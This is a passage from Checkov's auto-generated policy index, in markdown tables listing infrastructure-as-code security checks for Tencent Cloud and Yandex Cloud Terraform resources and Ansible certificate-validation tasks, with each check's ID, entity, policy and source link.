[TKEPublicIpAssigned.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/TKEPublicIpAssigned.py) | | 7916 | CKV_TC_8 | resource | tencentcloud_security_group_rule_set | Ensure Tencent Cloud VPC security group rules do not accept all traffic | Terraform | [VPCSecurityGroupRuleSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/VPCSecurityGroupRuleSet.py) | | 7917 | CKV_TC_9 | resource | tencentcloud_mysql_instance | Ensure Tencent Cloud mysql instances do not enable access from public networks | Terraform | [CDBInternetService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CDBInternetService.py) | | 7918 | CKV_TC_10 | resource | tencentcloud_mysql_instance | Ensure Tencent Cloud MySQL instances intranet ports are not set to the default 3306 | Terraform | [CDBIntranetPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CDBIntranetPort.py) | | 7919 | CKV_TC_11 | resource | tencentcloud_clb_instance | Ensure Tencent Cloud CLB has a logging ID and topic | Terraform | [CLBInstanceLog.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CLBInstanceLog.py) | | 7920 | CKV_TC_12 | resource | tencentcloud_clb_listener | Ensure Tencent Cloud CLBs use modern, encrypted protocols | Terraform | [CLBListenerProtocol.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CLBListenerProtocol.py) | | 7921 | CKV_TC_13 | resource | tencentcloud_instance | Ensure Tencent Cloud CVM user data does not contain sensitive information | Terraform | [CVMUserData.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/CVMUserData.py) | | 7922 | CKV_TC_14 | resource | tencentcloud_vpc_flow_log_config | Ensure Tencent Cloud VPC flow logs are enabled | Terraform | [VPCFlowLogConfigEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/tencentcloud/VPCFlowLogConfigEnable.py) | | 7923 | CKV_TF_1 | module | module | Ensure Terraform module sources use a commit hash | Terraform | [RevisionHash.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/module/generic/RevisionHash.py) | | 7924 | CKV_TF_2 | module | module | Ensure Terraform module sources use a tag with a version number | Terraform | [RevisionVersionTag.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/module/generic/RevisionVersionTag.py) | | 7925 | CKV_YC_1 | resource | yandex_mdb_clickhouse_cluster | Ensure security group is assigned to database cluster. | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py) | | 7926 | CKV_YC_1 | resource | yandex_mdb_elasticsearch_cluster | Ensure security group is assigned to database cluster. | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py) | | 7927 | CKV_YC_1 | resource | yandex_mdb_greenplum_cluster | Ensure security group is assigned to database cluster. | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py) | | 7928 | CKV_YC_1 | resource | yandex_mdb_kafka_cluster | Ensure security group is assigned to database cluster. | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py) | | 7929 | CKV_YC_1 | resource | yandex_mdb_mongodb_cluster | Ensure security group is assigned to database cluster. | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py) | | 7930 | CKV_YC_1 | resource | yandex_mdb_mysql_cluster | Ensure security group is assigned to database cluster. | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py) | | 7931 | CKV_YC_1 | resource | yandex_mdb_postgresql_cluster | Ensure security group is assigned to database cluster. | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py) | | 7932 | CKV_YC_1 | resource | yandex_mdb_redis_cluster | Ensure security group is assigned to database cluster. | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py) | | 7933 | CKV_YC_1 | resource | yandex_mdb_sqlserver_cluster | Ensure security group is assigned to database cluster. | Terraform | [MDBSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py) | | 7934 | CKV_YC_2 | resource | yandex_compute_instance | Ensure compute instance does not have public IP. | Terraform | [ComputeVMPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeVMPublicIP.py) | | 7935 | CKV_YC_3 | resource | yandex_storage_bucket | Ensure storage bucket is encrypted. | Terraform | [ObjectStorageBucketEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ObjectStorageBucketEncryption.py) | | 7936 | CKV_YC_4 | resource | yandex_compute_instance | Ensure compute instance does not have serial console enabled. | Terraform | [ComputeVMSerialConsole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeVMSerialConsole.py) | | 7937 | CKV_YC_5 | resource | yandex_kubernetes_cluster | Ensure Kubernetes cluster does not have public IP address. | Terraform | [K8SPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SPublicIP.py) | | 7938 | CKV_YC_6 | resource | yandex_kubernetes_node_group | Ensure Kubernetes cluster node group does not have public IP addresses. | Terraform | [K8SNodeGroupPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SNodeGroupPublicIP.py) | | 7939 | CKV_YC_7 | resource | yandex_kubernetes_cluster | Ensure Kubernetes cluster auto-upgrade is enabled. | Terraform | [K8SAutoUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SAutoUpgrade.py) | | 7940 | CKV_YC_8 | resource | yandex_kubernetes_node_group | Ensure Kubernetes node group auto-upgrade is enabled. | Terraform | [K8SNodeGroupAutoUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SNodeGroupAutoUpgrade.py) | | 7941 | CKV_YC_9 | resource | yandex_kms_symmetric_key | Ensure KMS symmetric key is rotated. | Terraform | [KMSSymmetricKeyRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/KMSSymmetricKeyRotation.py) | | 7942 | CKV_YC_10 | resource | yandex_kubernetes_cluster | Ensure etcd database is encrypted with KMS key. | Terraform | [K8SEtcdKMSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SEtcdKMSEncryption.py) | | 7943 | CKV_YC_11 | resource | yandex_compute_instance | Ensure security group is assigned to network interface. | Terraform | [ComputeVMSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeVMSecurityGroup.py) | | 7944 | CKV_YC_12 | resource | yandex_mdb_clickhouse_cluster | Ensure public IP is not assigned to database cluster. | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py) | | 7945 | CKV_YC_12 | resource | yandex_mdb_elasticsearch_cluster | Ensure public IP is not assigned to database cluster. | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py) | | 7946 | CKV_YC_12 | resource | yandex_mdb_greenplum_cluster | Ensure public IP is not assigned to database cluster. | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py) | | 7947 | CKV_YC_12 | resource | yandex_mdb_kafka_cluster | Ensure public IP is not assigned to database cluster. | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py) | | 7948 | CKV_YC_12 | resource | yandex_mdb_mongodb_cluster | Ensure public IP is not assigned to database cluster. | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py) | | 7949 | CKV_YC_12 | resource | yandex_mdb_mysql_cluster | Ensure public IP is not assigned to database cluster. | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py) | | 7950 | CKV_YC_12 | resource | yandex_mdb_postgresql_cluster | Ensure public IP is not assigned to database cluster. | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py) | | 7951 | CKV_YC_12 | resource | yandex_mdb_sqlserver_cluster | Ensure public IP is not assigned to database cluster. | Terraform | [MDBPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py) | | 7952 | CKV_YC_13 | resource | yandex_resourcemanager_cloud_iam_binding | Ensure cloud member does not have elevated access. | Terraform | [IAMCloudElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMCloudElevatedMembers.py) | | 7953 | CKV_YC_13 | resource | yandex_resourcemanager_cloud_iam_member | Ensure cloud member does not have elevated access. | Terraform | [IAMCloudElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMCloudElevatedMembers.py) | | 7954 | CKV_YC_14 | resource | yandex_kubernetes_cluster | Ensure security group is assigned to Kubernetes cluster. | Terraform | [K8SSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SSecurityGroup.py) | | 7955 | CKV_YC_15 | resource | yandex_kubernetes_node_group | Ensure security group is assigned to Kubernetes node group. | Terraform | [K8SNodeGroupSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SNodeGroupSecurityGroup.py) | | 7956 | CKV_YC_16 | resource | yandex_kubernetes_cluster | Ensure network policy is assigned to Kubernetes cluster. | Terraform | [K8SNetworkPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SNetworkPolicy.py) | | 7957 | CKV_YC_17 | resource | yandex_storage_bucket | Ensure storage bucket does not have public access permissions. | Terraform | [ObjectStorageBucketPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ObjectStorageBucketPublicAccess.py) | | 7958 | CKV_YC_18 | resource | yandex_compute_instance_group | Ensure compute instance group does not have public IP. | Terraform | [ComputeInstanceGroupPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeInstanceGroupPublicIP.py) | | 7959 | CKV_YC_19 | resource | yandex_vpc_security_group | Ensure security group does not contain allow-all rules. | Terraform | [VPCSecurityGroupAllowAll.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/VPCSecurityGroupAllowAll.py) | | 7960 | CKV_YC_20 | resource | yandex_vpc_security_group_rule | Ensure security group rule is not allow-all. | Terraform | [VPCSecurityGroupRuleAllowAll.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/VPCSecurityGroupRuleAllowAll.py) | | 7961 | CKV_YC_21 | resource | yandex_organizationmanager_organization_iam_binding | Ensure organization member does not have elevated access. | Terraform | [IAMOrganizationElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMOrganizationElevatedMembers.py) | | 7962 | CKV_YC_21 | resource | yandex_organizationmanager_organization_iam_member | Ensure organization member does not have elevated access. | Terraform | [IAMOrganizationElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMOrganizationElevatedMembers.py) | | 7963 | CKV_YC_22 | resource | yandex_compute_instance_group | Ensure compute instance group has security group assigned. | Terraform | [ComputeInstanceGroupSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeInstanceGroupSecurityGroup.py) | | 7964 | CKV_YC_23 | resource | yandex_resourcemanager_folder_iam_binding | Ensure folder member does not have elevated access. | Terraform | [IAMFolderElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMFolderElevatedMembers.py) | | 7965 | CKV_YC_23 | resource | yandex_resourcemanager_folder_iam_member | Ensure folder member does not have elevated access. | Terraform | [IAMFolderElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMFolderElevatedMembers.py) | | 7966 | CKV_YC_24 | resource | yandex_organizationmanager_organization_iam_binding | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible. | Terraform | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py) | | 7967 | CKV_YC_24 | resource | yandex_organizationmanager_organization_iam_member | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible. | Terraform | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py) | | 7968 | CKV_YC_24 | resource | yandex_resourcemanager_cloud_iam_binding | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible. | Terraform | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py) | | 7969 | CKV_YC_24 | resource | yandex_resourcemanager_cloud_iam_member | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible. | Terraform | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py) | | 7970 | CKV_YC_24 | resource | yandex_resourcemanager_folder_iam_binding | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible. | Terraform | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py) | | 7971 | CKV_YC_24 | resource | yandex_resourcemanager_folder_iam_member | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible. | Terraform | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py) | --- ================================================ FILE: docs/5.Policy Index/ansible.md ================================================ --- layout: default title: ansible resource scans nav_order: 1 --- # ansible resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |-----|----------------|----------|------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_ANSIBLE_1 | resource | [?"ansible.builtin.uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 1 | CKV_ANSIBLE_1 | resource | [?"uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 2 | CKV_ANSIBLE_1 | resource | [].block[?"ansible.builtin.uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 3 | CKV_ANSIBLE_1 | resource | [].block[?"uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 4 | CKV_ANSIBLE_1 | resource | [].block[].block[?"ansible.builtin.uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 5 | CKV_ANSIBLE_1 | resource | [].block[].block[?"uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 6 | CKV_ANSIBLE_1 | resource | [].block[].block[].block[?"ansible.builtin.uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 7 | CKV_ANSIBLE_1 | resource | [].block[].block[].block[?"uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 8 | CKV_ANSIBLE_1 | resource | [].tasks[?"ansible.builtin.uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 9 | CKV_ANSIBLE_1 | resource | [].tasks[?"uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 10 | CKV_ANSIBLE_1 | resource | [].tasks[].block[?"ansible.builtin.uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 11 | CKV_ANSIBLE_1 | resource | [].tasks[].block[?"uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 12 | CKV_ANSIBLE_1 | resource | [].tasks[].block[].block[?"ansible.builtin.uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 13 | CKV_ANSIBLE_1 | resource | [].tasks[].block[].block[?"uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 14 | CKV_ANSIBLE_1 | resource | [].tasks[].block[].block[].block[?"ansible.builtin.uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 15 | CKV_ANSIBLE_1 | resource | [].tasks[].block[].block[].block[?"uri" != null][] | Ensure that certificate validation isn't disabled with uri | Ansible | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py) | | 16 | CKV_ANSIBLE_2 | resource | [?"ansible.builtin.get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 17 | CKV_ANSIBLE_2 | resource | [?"get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 18 | CKV_ANSIBLE_2 | resource | [].block[?"ansible.builtin.get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 19 | CKV_ANSIBLE_2 | resource | [].block[?"get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 20 | CKV_ANSIBLE_2 | resource | [].block[].block[?"ansible.builtin.get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 21 | CKV_ANSIBLE_2 | resource | [].block[].block[?"get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 22 | CKV_ANSIBLE_2 | resource | [].block[].block[].block[?"ansible.builtin.get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 23 | CKV_ANSIBLE_2 | resource | [].block[].block[].block[?"get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 24 | CKV_ANSIBLE_2 | resource | [].tasks[?"ansible.builtin.get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 25 | CKV_ANSIBLE_2 | resource | [].tasks[?"get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 26 | CKV_ANSIBLE_2 | resource | [].tasks[].block[?"ansible.builtin.get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 27 | CKV_ANSIBLE_2 | resource | [].tasks[].block[?"get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 28 | CKV_ANSIBLE_2 | resource | [].tasks[].block[].block[?"ansible.builtin.get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 29 | CKV_ANSIBLE_2 | resource | [].tasks[].block[].block[?"get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 30 | CKV_ANSIBLE_2 | resource | [].tasks[].block[].block[].block[?"ansible.builtin.get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 31 | CKV_ANSIBLE_2 | resource | [].tasks[].block[].block[].block[?"get_url" != null][] | Ensure that certificate validation isn't disabled with get_url | Ansible | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py) | | 32 | CKV_ANSIBLE_3 | resource | [?"ansible.builtin.yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 33 | CKV_ANSIBLE_3 | resource | [?"yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 34 | CKV_ANSIBLE_3 | resource | [].block[?"ansible.builtin.yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 35 | CKV_ANSIBLE_3 | resource | [].block[?"yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 36 | CKV_ANSIBLE_3 | resource | [].block[].block[?"ansible.builtin.yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 37 | CKV_ANSIBLE_3 | resource | [].block[].block[?"yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 38 | CKV_ANSIBLE_3 | resource | [].block[].block[].block[?"ansible.builtin.yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 39 | CKV_ANSIBLE_3 | resource | [].block[].block[].block[?"yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 40 | CKV_ANSIBLE_3 | resource | [].tasks[?"ansible.builtin.yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 41 | CKV_ANSIBLE_3 | resource | [].tasks[?"yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 42 | CKV_ANSIBLE_3 | resource | [].tasks[].block[?"ansible.builtin.yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 43 | CKV_ANSIBLE_3 | resource | [].tasks[].block[?"yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 44 | CKV_ANSIBLE_3 | resource | [].tasks[].block[].block[?"ansible.builtin.yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 45 | CKV_ANSIBLE_3 | resource | [].tasks[].block[].block[?"yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 46 | CKV_ANSIBLE_3 | resource | [].tasks[].block[].block[].block[?"ansible.builtin.yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 47 | CKV_ANSIBLE_3 | resource | [].tasks[].block[].block[].block[?"yum" != null][] | Ensure that certificate validation isn't disabled with yum | Ansible | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py) | | 48 | CKV_ANSIBLE_4 | resource | [?"ansible.builtin.yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 49 | CKV_ANSIBLE_4 | resource | [?"yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 50 | CKV_ANSIBLE_4 | resource | [].block[?"ansible.builtin.yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 51 | CKV_ANSIBLE_4 | resource | [].block[?"yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py) | | 52 | CKV_ANSIBLE_4 | resource | [].block[].block[?"ansible.builtin.yum" != null][] | Ensure that SSL validation isn't disabled with yum | Ansible | 